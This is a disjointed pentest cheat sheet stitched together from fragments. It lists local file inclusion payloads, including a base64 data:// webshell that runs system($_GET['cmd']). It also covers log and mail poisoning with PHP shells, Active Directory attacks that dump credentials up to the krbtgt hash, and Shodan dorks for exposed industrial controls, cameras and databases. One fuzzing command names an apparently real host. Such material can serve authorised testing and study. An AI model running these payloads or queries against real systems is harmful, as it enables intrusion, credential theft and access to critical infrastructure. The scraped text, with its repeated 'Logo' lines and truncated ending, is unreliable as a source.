    http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd 
    http://example.com/index.php?page=..///////..////..//////etc/passwd
    http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
    
    # DOUBLE ENCODING
    http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
    http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
    
    # UTF-8 ENCODING
    http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
    http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
    wfuzz -c -w list-lfi.txt --hc 404,400 --hw 0 https://metabase.peren.fr/api/geojson?url=file:///FUZZ
    http://example.com/page.php?file=php://filter/resource=/etc/passwd
    
    http://example.com/page.php?file=php://filter/read=string.rot13/resource=/etc/passwd
    
    http://example.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
    
    http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
    http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
    http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
    http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
    
    http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
    GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
    User-Agent: <?=phpinfo(); ?>
    # /var/log/apache2/access.log
    # set inside the user agent or inside a GET parameter a php shell like :
    <?php system($_GET['cmd']); ?>
    # same for /proc/self/environ
    ssh <?php system($_GET["cmd"]);?>@10.10.10.10
    # Then include the SSH log files inside the Web Application :
    # http://example.com/index.php?page=/var/log/auth.log&cmd=id
    root@kali:~# telnet 10.10.10.10. 25
    Trying 10.10.10.10....
    Connected to 10.10.10.10..
    Escape character is '^]'.
    220 straylight ESMTP Postfix (Debian/GNU)
    helo ok
    250 straylight
    mail from: [email protected]
    250 2.1.0 Ok
    rcpt to: root
    250 2.1.5 Ok
    data
    354 End data with <CR><LF>.<CR><LF>
    subject: <?php echo system($_GET["cmd"]); ?>
    data2
    .
    mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null
    /etc/bind/named.conf
    nsupdate
    > server $ip_target $port_dns_target
    > key $key_algorithm:$name_key $secret
    > zone $dns_name
    > update add mail.$target_domain 86400 A $ip_host
    > send
    
    # start python smtpd server to receive mail
    python3 -m smtpd -c DebuggingServer -n $ip_host:25
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in GoGitHub
    GitHub - xmendez/wfuzz: Web application fuzzerGitHub
    GitHub - xmendez/wfuzz: Web application fuzzerGitHub
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo

    Internal Audit - Plan

    3MB
    Pentest_Active_Directory_Environment_1666475020.pdf
    PDF
    Open

    Network discovery

    Scanning

    Windows AD

    If you have no credentials

    Kerberos

    If you have credentials

    Dumps secrets

    Local Privilege Escalation

    Juicy Potato

    Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation

    Works only until Windows Server 2016 and Windows 10 until patch 1803.

    PrintSpoofer

    Exploit the PrinterBug for System Impersonation

    Works for Windows Server 2019 and Windows 10.

    RoguePotato

    From Service Account to System

    Works for Windows Server 2019 and Windows 10.

    Abusing Token Privileges

    SMBGhost CVE-2020–0796

    CVE-2021–36934 (HiveNightmare/SeriousSAM)

    Linux

    Lynis

    Lynis is a battle-tested security tool for systems running Linux, macOS, or Unix-based operating system. It performs an extensive health scan of your systems to support system hardening and compliance testing.

    In order to install Lynis on your system, you must follow these steps :

    Security Headers

    Source

    Tools

    GitHub - swisskyrepo/GraphQLmap: GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)GitHub
    GitHub - swisskyrepo/GraphQLmap: GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)GitHub
    # check what infos you can see
    wireshark
    
    # nmap
    # BEST - https://miloserdov.org/?p=5248
    # discover
    sudo nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml $network_ip
    # extract the hosts
    grep -A 2 'up' nmap_output.xml | grep -E -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > hosts.txt
    # scan them, find routers
    sudo nmap -v -PE -n --min-hostgroup 1024 --min-parallelism 1024 -p 80,443,8080,1080 --open -iL hosts.txt -oX nmap_routers.xml
    
    # OTHERS
    # Ping discovery, Top 20, fragment packets, no DNS resolution
    nmap -v --top-ports 20 $ip/24 -f -n --open -oA
    # Ping discovery, Top 200, fragment packets, no DNS resolution, service version
    nmap -v --top-ports 200 $ip/24 -f -n -sV --open -oA
    # Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)
    nmap -v --top-ports 1000 $ip/24 -f -n -sV -Pn --open -oA
    SSL/TLS/Ciphers

    testssl.sh

    Security Headers

    ✅ Good

    Strict-Transport-Security (HSTS)

    The HTTP Strict-Transport-Security response header (often abbreviated as HSTS) lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP.

    Value
    Description

    max-age=SECONDS

    The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS.

    includeSubDomains

    If this optional parameter is specified, this rule applies to all of the site’s subdomains as well.

    Best Synthax

    Directives

    max-age=<expire-time> The time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.

    includeSubDomains Optional If this optional parameter is specified, this rule applies to all of the site's subdomains as well.

    preload Optional See Preloading Strict Transport Security for details. Not part of the specification.

    Content Security Policy (CSP)

    A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.

    Directive
    Description

    base-uri

    Define the base URI for relative URIs.

    default-src

    Define loading policy for all resources type in case a resource type’s dedicated directive is not defined (fallback).

    script-src

    Define which scripts the protected resource can execute.

    object-src

    Define from where the protected resource can load plugins.

    style-src

    Define which styles (CSS) can be applied to the protected resource.

    Example

    X-Frame Options

    X-Frame-Options response header improve the protection of web applications against Clickjacking. It declares a policy communicated from a host to the client browser on whether the browser must not display the transmitted content in frames of other web pages.

    Value
    Description

    deny

    No rendering within a frame.

    sameorigin

    No rendering if origin mismatch.

    allow-from: DOMAIN

    Allows rendering if framed by frame loaded from DOMAIN.

    Example

    Referrer-Policy

    The Referrer-Policy HTTP header governs which referrer information, sent in the Referer header, should be included with requests made.

    Value
    Description

    no-referrer

    The Referer header will be omitted entirely. No referrer information is sent along with requests.

    no-referrer-when-downgrade

    This is the user agent’s default behavior if no policy is specified. The origin is sent as referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but isn’t sent to a less secure destination (HTTPS → HTTP).

    origin

    Only send the origin of the document as the referrer in all cases. (e.g. the document https://example.com/page.html will send the referrer https://example.com/.)

    origin-when-cross-origin

    Send a full URL when performing a same-origin request, but only send the origin of the document for other cases.

    same-origin

    A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information.

    Example

    X-Content-Type-Options

    Setting this header will prevent the browser from interpreting files as something else than declared by the content type in the HTTP headers.

    Value
    Description

    nosniff

    Will prevent the browser from MIME-sniffing a response away from the declared content-type.

    Example

    X-Permitted-Cross-Domain-Policies

    A cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction. Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the X-Permitted-Cross-Domain-Policies HTTP response header.

    Value
    Description

    none

    No policy files are allowed anywhere on the target server, including this master policy file.

    master-only

    Only this master policy file is allowed.

    by-content-type

    [HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed.

    by-ftp-filename

    [FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed.

    all

    All policy files on this target domain are allowed.

    Example

    ❌ Deprecated

    No longer recommended. Deprecated.

    Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes.

    Be aware that this feature may cease to work at any time.

    No longer recommended. Deprecated.

    This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

    Please use Content-Security-Policy instead.

    No longer recommended. Deprecated.

    This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes

    Obsolete since June 2021.

    GitHub - saladandonionrings/NextGen-HeadersScanner: Python HTTP Security Header ScannerGitHub
    Test Security Headers implementation with this tool
    Logo
    Logo
    GitHub - nikitastupin/clairvoyance: Obtain GraphQL API schema even if the introspection is disabledGitHub
    # install | usage
    git clone https://github.com/saladandonionrings/NextGen-HeadersScanner.git
    cd NextGen-HeadersScanner/
    pip install -r requirements.txt
    python h_scan -u https://$target
    Strict-Transport-Security: max-age=<expire-time>
    Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
    Strict-Transport-Security: max-age=<expire-time>; preload
    Content-Security-Policy: script-src 'self'
    X-Frame-Options: deny
    Referrer-Policy: no-referrer
    Referrer-Policy: no-referrer-when-downgrade
    Referrer-Policy: origin
    Referrer-Policy: origin-when-cross-origin
    Referrer-Policy: same-origin
    Referrer-Policy: strict-origin
    Referrer-Policy: strict-origin-when-cross-origin
    Referrer-Policy: unsafe-url
    X-Content-Type-Options: nosniff
    X-Permitted-Cross-Domain-Policies: none
    # Get domain name
    cme smb 10.10.10.10
    smbmap -H $dc_ip -u '' -p ''
    
    # Detect SMB on network
    responder-RunFinger -i X.X.X.0/24
    
    # Find DC
    nslookup -q=srv _ldap._tcp.dc._msdcs.<domain.name>
    nslookup -type=srv _ldap._tcp.<domain.name> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g'
    
    # Enumerate DC
    ldapsearch -h <DC.IP> -x -s base namingcontexts
    
    # Check for null session, if got users go for ASREPRoast with GetNPUsers
    ldapsearch -h <DC.IP> -x -b "DC=XX,DC=XX"
    
    # Get hashes with no krb preauth
    GetNPUsers.py [Domain Name]/ -dc-ip [Domain Controller IP address] -request
    GetNPUsers.py 'DC.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.10
    
    # Get Users List
    GetADUsers.py DC.local/ -dc-ip $dc_ip -debug
    
    # Get Users from ldap
    windapsearch -U — full — dc-ip $dc_ip
    
    # Get base domain
    ldapsearch -x -h $dc_ip -s base namingcontexts
    
    # Get more info from DC
    ldapsearch -x -h $dc_ip -b ‘DC=DCNAME,DC=LOCAL’
    
    # User Domain info
    Get-ADUser $name
    
    # Forest info
    Get-ADForest
    
    # Get all computers in the current domain
    Get-NetComputer
    # Kerberoasting (hashcat 13100)
    GetUserSPNs.py -request -save -dc-ip <IP> domain/user # hashcat 13100
    
    # Bruteforce usernames and passwords with kerbrute
    kerbrute.py -d <DC.LOCAL> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
    
    # ASREPRoast (hashcat 18200)
    GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    
    # PTH/PTK
    # Request ticket
    getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
    getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
    getTGT.py <domain_name>/<user_name>:[password]
    # Set ticket
    export KRB5CCNAME=<TGT_ccache_file>
    # Use it
    psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    psexec.py -hashes 'hash' -dc-ip 10.10.10.10 [email protected]
    smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    # Enum AD AIO
    # https://github.com/CasperGN/ActiveDirectoryEnumeration
    python3 -m ade --dc <domain.name> -u <[email protected]> --help
    # https://github.com/adrecon/ADRecon from Windows on Domain
    
    # windapsearch
    # https://github.com/ropnop/go-windapsearch
    windapsearch -d <domain>.<name> -u <user> -p <password> --help
    
    # LDAP
    # best tool : ldeep - https://github.com/franc-pentest/ldeep
    ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC_IP_OR_LDAP_SERV> all ldap_dump_
    
    # Domain users
    ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt
    
    # Domain computers
    ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt
    
    # Domain groups
    ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
    
    # RPClient - enumeration users, groups, ...
    rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c dsr_enumtrustdom
    rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomains
    rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomusers
    rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomgroups
    
    # CME
    # Run commands
    # can you access sensitive shares ? check for SYSVOL
    cme smb <IP> -u <USER> -p '<PASS>' --shares
    
    # PS
    cme smb <IP> -u <USER> -p '<PASS>' -X 'Get-Host'
    # CMD
    cme smb <IP> -u <USER> -p '<PASS>' -x whoami
    # PTH
    cme smb <IP> -u <USER> -H <NTHASH> -x whoami
    # Other methods
    cme smb <IP> -u <USER> -p '<PASS>' --exec-method {mmcexec,smbexec,atexec,wmiexec}
    
    # Dumps
    # LSASSY
    cme smb <IP> -d <DOMAIN> -u <USER> -p <PASS> -M lsassy
    # SAM
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sam
    # LSA
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --lsa
    # Sessions
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sessions
    # Logged users
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --loggedon-users
    # Disks
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --disks
    # Users
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --users #Enumerate users
    # Groups
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --groups
    # Local groups
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --local-groups
    # Password policy
    cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --pass-pol
    # User hash
    secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user user1
    
    # krbtgt hash dump -> Golden Ticket
    secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user krbtgt
    git clone https://github.com/CISOfy/lynis.git
    cd lynis
    ./lynis audit system -Q

    img-src

    Define from where the protected resource can load images.

    media-src

    Define from where the protected resource can load video and audio.

    frame-src

    (Deprecated and replaced by child-src) Define from where the protected resource can embed frames.

    child-src

    Define from where the protected resource can embed frames.

    frame-ancestors

    Define from where the protected resource can be embedded in frames.

    font-src

    Define from where the protected resource can load fonts.

    connect-src

    Define which URIs the protected resource can load using script interfaces.

    manifest-src

    Define from where the protected resource can load manifests.

    form-action

    Define which URIs can be used as the action of HTML form elements.

    sandbox

    Specifies an HTML sandbox policy that the user agent applies to the protected resource.

    script-nonce

    Define script execution by requiring the presence of the specified nonce on script elements.

    plugin-types

    Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.

    reflected-xss

    Instruct the user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header.

    block-all-mixed-content

    Prevent the user agent from loading mixed content.

    upgrade-insecure-requests

    Instruct the user agent to download insecure HTTP resources using HTTPS.

    referrer

    (Deprecated) Define information the user agent can send in the Referer header.

    report-uri

    (Deprecated and replaced by report-to) Specifies a URI to which the user agent sends reports about policy violation.

    report-to

    Specifies a group (defined in the Report-To header) to which the user agent sends reports about policy violation.

    strict-origin

    Only send the origin of the document as the referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but don’t send it to a less secure destination (HTTPS → HTTP).

    strict-origin-when-cross-origin

    Send a full URL when performing a same-origin request, only send the origin of the document to a-priori as-much-secure destination (HTTPS → HTTPS), and send no header to a less secure destination (HTTPS → HTTP).

    unsafe-url

    Send a full URL (stripped from parameters) when performing a same-origin or cross-origin request.

    Logo
    Logo
    Logo

    Dorks

    Working with Dorks

    Online Services:

    • — A continuously expanding catalog of dorks with an integrated search function.

    • — A search engine featuring a built-in dork builder.

    • — An online Google dorks builder focused on discovering sensitive pages..

    • — Google Dorking Usage

    Apps

    • — Automates the search for potentially vulnerable web pages using dorks from the Google Hacking Database.

    • — A web-based PHP utility for automating Google Dorks usage, cleaning, and saving search results.

    • — Another tool for automating dork searches, written in Golang.

    • — A utility for identifying vulnerabilities and misconfigurations in web servers.

    Google

    Google hacking, also named Google Dorking, is a hacker technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites are using. Google dorking could also be used for OSINT.

    Disclaimer: It is highly advised that you use the information you find for legal purposes only. The unauthorized access of information can lead to a criminal proceeding against you. So use Google hacking with care (and written permission).

    Tools

    metagoofil

    Base

    Links

    Sensitive Directories

    Vulnerable Websites

    Juicy Files

    Database

    Shodan

    Resources

    Basic

    port: Search by specific port

    net: Search based on an IP/CIDR

    hostname: Locate devices by hostname

    os: Search by Operating System

    city: Locate devices by city

    country: Locate devices by country

    geo: Locate devices by coordinates

    org: Search by organization

    before/after: Timeframe delimiter

    hash: Search based on banner hash

    has_screenshot:true Filter search based on a screenshot being present

    title: Search based on text within the title

    asn: Search ASN e.g. 'AS12345'

    ssl.jarm: Search by JARM fingerprint

    Examples

    net:

    Find devices based on an IP address or /x CIDR. net:210.214.0.0/16

    Organization

    Autonomous System Number (ASN)

    asn:ASxxxx

    os:

    Find devices based on operating system. os:"windows 7"

    port:

    Find devices based on open ports. proftpd port:21

    before/after:

    Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010

    SSL/TLS Certificates

    Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com

    Expired certificates ssl.cert.expired:true

    ssl.cert.subject.cn:example.com

    Device Type

    Operating System

    Product

    Customer Premises Equipment (CPE)

    Server

    ssh fingerprints

    dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

    Dorks

    Pulse Secure

    http.html:/dana-na

    PEM Certificates

    http.title:"Index of /" http.html:".pem"

    Databases

    MySQL

    "product:MySQL"

    MongoDB

    "product:MongoDB" mongodb port:27017

    Fully open MongoDBs

    "MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK"

    Kibana dashboards without authentication

    kibana content-legth:217

    elastic

    port:9200 json port:"9200" all:elastic

    Memcached

    "product:Memcached"

    CouchDB

    "product:CouchDB" port:"5984"+Server: "CouchDB/2.1.0"

    PostgreSQL

    "port:5432 PostgreSQL"

    Riak

    "port:8087 Riak"

    Redis

    "product:Redis"

    Cassandra

    "product:Cassandra"

    Industrial Control Systems

    Samsung Electronic Billboards

    "Server: Prismview Player"

    Gas Station Pump Controllers

    "in-tank inventory" port:10001

    Fuel Pumps connected to internet:

    No auth required to access CLI terminal.\ "privileged command" GET

    Automatic License Plate Readers

    P372 "ANPR enabled"

    Traffic Light Controllers / Red Light Cameras

    mikrotik streetlight

    Voting Machines in the United States

    "voter system serial" country:US

    Open ATM:

    May allow for ATM Access availability NCR Port:"161"

    Telcos Running Cisco Lawful Intercept Wiretaps

    "Cisco IOS" "ADVIPSERVICESK9_LI-M"

    Prison Pay Phones

    "[2J[H Encartele Confidential"

    Tesla PowerPack Charging Status

    http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

    Electric Vehicle Chargers

    "Server: gSOAP/2.8" "Content-Length: 583"

    Maritime Satellites

    Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!

    "Cobham SATCOM" OR ("Sailor" "VSAT")

    Submarine Mission Control Dashboards

    title:"Slocum Fleet Mission Control"

    CAREL PlantVisor Refrigeration Units

    "Server: CarelDataServer" "200 Document follows"

    Nordex Wind Turbine Farms

    http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"

    C4 Max Commercial Vehicle GPS Trackers

    "[1m[35mWelcome on console"

    DICOM Medical X-Ray Machines

    Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.

    "DICOM Server Response" port:104

    GaugeTech Electricity Meters

    "Server: EIG Embedded Web Server" "200 Document follows"

    Siemens Industrial Automation

    "Siemens, SIMATIC" port:161

    Siemens HVAC Controllers

    "Server: Microsoft-WinCE" "Content-Length: 12581"

    Door / Lock Access Controllers

    "HID VertX" port:4070

    Railroad Management

    "log off" "select the appropriate"

    Tesla Powerpack charging Status:

    Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

    XZERES Wind Turbine

    title:"xzeres wind"

    PIPS Automated License Plate Reader

    "html:"PIPS Technology ALPR Processors""

    Modbus

    "port:502"

    Niagara Fox

    "port:1911,4911 product:Niagara"

    GE-SRTP

    "port:18245,18246 product:"general electric""

    MELSEC-Q

    "port:5006,5007 product:mitsubishi"

    CODESYS

    "port:2455 operating system"

    S7

    "port:102"

    BACnet

    "port:47808"

    HART-IP

    "port:5094 hart-ip"

    Omron FINS

    "port:9600 response code"

    IEC 60870-5-104

    "port:2404 asdu address"

    DNP3

    "port:20000 source address"

    EtherNet/IP

    "port:44818"

    PCWorx

    "port:1962 PLC"

    Crimson v3.0

    "port:789 product:"Red Lion Controls"

    ProConOS

    "port:20547 PLC"

    Remote Desktop

    Unprotected VNC

    "authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"

    Windows RDP

    99.99% are secured by a secondary Windows login screen.

    "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

    Network Infrastructure

    CobaltStrike Servers

    product:"cobalt strike team server" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

    Hacked routers:

    Routers which got compromised\ hacked-router-help-sos

    Redis open instances

    product:"Redis key-value store"

    Citrix:

    Find Citrix Gateway.\ title:"citrix gateway"

    Weave Scope Dashboards

    Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.

    title:"Weave Scope" http.favicon.hash:567176827

    MongoDB

    Older versions were insecure by default. Very scary.

    "MongoDB Server Information" port:27017 -authentication

    Mongo Express Web GUI

    Like the infamous phpMyAdmin but for MongoDB.

    "Set-Cookie: mongo-express=" "200 OK"

    Jenkins CI

    "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

    Jenkins:

    Jenkins Unrestricted Dashboard x-jenkins 200

    Docker APIs

    "Docker Containers:" port:2375

    Docker Private Registries

    "Docker-Distribution-Api-Version: registry" "200 OK" -gitlab

    Pi-hole Open DNS Servers

    "dnsmasq-pi-hole" "Recursion: enabled"

    Already Logged-In as root via Telnet

    "root@" port:23 -login -password -name -Session

    Telnet Access:

    NO password required for telnet access.\ port:23 console gateway

    Polycom video-conference system no-auth shell

    "polycom command shell"

    NPort serial-to-eth / MoCA devices without password

    nport -keyin port:23

    Android Root Bridges

    A tangential result of Google's sloppy fractured update approach. 🙄 More information here.

    "Android Debug Bridge" "Device" port:5555

    Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords

    Lantronix password port:30718 -secured

    Citrix Virtual Apps

    "Citrix Applications:" port:1604

    Cisco Smart Install

    Vulnerable (kind of "by design," but especially when exposed).

    "smart install client active"

    PBX IP Phone Gateways

    PBX "gateway console" -password port:23

    Polycom Video Conferencing

    http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23

    Telnet Configuration:

    "Polycom Command Shell" -failed port:23

    Example: Polycom Video Conferencing

    Bomgar Help Desk Portal

    "Server: Bomgar" "200 OK"

    Intel Active Management CVE-2017-5689

    "Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 ”Active Management Technology”

    HP iLO 4 CVE-2017-12542

    HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900

    Lantronix ethernet adapter’s admin interface without password

    "Press Enter for Setup Mode port:9999"

    Wifi Passwords:

    Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"

    Misconfigured Wordpress Sites:

    The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"

    Outlook Web Access:

    Exchange 2007

    "x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"

    Exchange 2010

    "x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392

    Exchange 2013 / 2016

    "X-AspNet-Version" http.title:"Outlook" -"x-owa-version"

    Lync / Skype for Business

    "X-MS-Server-Fqdn"

    Network Attached Storage (NAS)

    SMB (Samba) File Shares

    Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.

    "Authentication: disabled" port:445

    Specifically domain controllers:

    "Authentication: disabled" NETLOGON SYSVOL -unix port:445

    Concerning default network shares of QuickBooks files:

    "Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445

    FTP Servers with Anonymous Login

    "220" "230 Login successful." port:21

    Iomega / LenovoEMC NAS Drives

    "Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"

    Buffalo TeraStation NAS Drives

    Redirecting sencha port:9000

    Logitech Media Servers

    "Server: Logitech Media Server" "200 OK"

    Example: Logitech Media Servers

    Plex Media Servers

    "X-Plex-Protocol" "200 OK" port:32400

    Tautulli / PlexPy Dashboards

    "CherryPy/5.1.0" "/home"

    Home router attached USB

    "IPC$ all storage devices"

    Webcams

    Generic camera search

    title:camera

    Webcams with screenshots

    webcam has_screenshot:true

    D-Link webcams

    "d-Link Internet Camera, 200 OK"

    Hipcam

    "Hipcam RealServer/V1.0"

    Yawcams

    "Server: yawcam" "Mime-Type: text/html"

    webcamXP/webcam7

    ("webcam 7" OR "webcamXP") http.component:"mootools" -401

    Android IP Webcam Server

    "Server: IP Webcam Server" "200 OK"

    Security DVRs

    html:"DVR_H264 ActiveX"

    Surveillance Cams:

    With username:admin and password: :P\ NETSurveillance uc-httpd Server: uc-httpd 1.0.0

    Printers & Copiers:

    HP Printers

    "Serial Number:" "Built:" "Server: HP HTTP"

    Xerox Copiers/Printers

    ssl:"Xerox Generic Root"

    Epson Printers

    "SERVER: EPSON_Linux UPnP" "200 OK"

    "Server: EPSON-HTTP" "200 OK"

    Canon Printers

    "Server: KS_HTTP" "200 OK"

    "Server: CANON HTTP Server"

    Home Devices

    Yamaha Stereos

    "Server: AV_Receiver" "HTTP/1.1 406"

    Apple AirPlay Receivers

    Apple TVs, HomePods, etc.

    "\x08_airplay" port:5353

    Chromecasts / Smart TVs

    "Chromecast:" port:8008

    Crestron Smart Home Controllers

    "Model: PYNG-HUB"

    Random Stuff

    Calibre libraries

    "Server: calibre" http.status:200 http.title:calibre

    OctoPrint 3D Printer Controllers

    title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944

    Ethereum Miners

    "ETH - Total speed"

    Apache Directory Listings

    Substitute .pem with any extension or a filename like phpinfo.php.

    http.title:"Index of /" http.html:".pem"

    Misconfigured WordPress

    Exposed wp-config.php files containing database credentials.

    http.html:"* The wp-config.php creation script uses this file"

    Too Many Minecraft Servers

    "Minecraft Server" "protocol 340" port:25565

    Literally Everything in North Korea

    net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24

    Twitter / GitHub

    GitHub - kurobeats/fimap: fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.GitHub
    Tool to check LFI
    Logo

    ATSCAN SCANNER — Designed for dork-based searches and mass scanning of web resources for vulnerabilities.

  • Fast Google Dorks Scan — An automated tool for gathering information about a specific website using dorks.

  • SiteDorks — A premade collection of search queries for Google, Bing, Ecosia, DuckDuckGo, Yandex, Yahoo, and more, comprising 527 websites.

  • which finds specific types of files (doc, pdf, mp3 etc) based on file extension

    filetype:pdf “Cryptography”

    link:

    which searches for all links to a site or URL

    link:”example.com”

    cache:

    which displays Google’s cached copy of a page

    cache:yeahhub.com

    info:

    which displays summary information about a page

    info:

    OPERATOR

    DESCRIPTION

    EXAMPLE

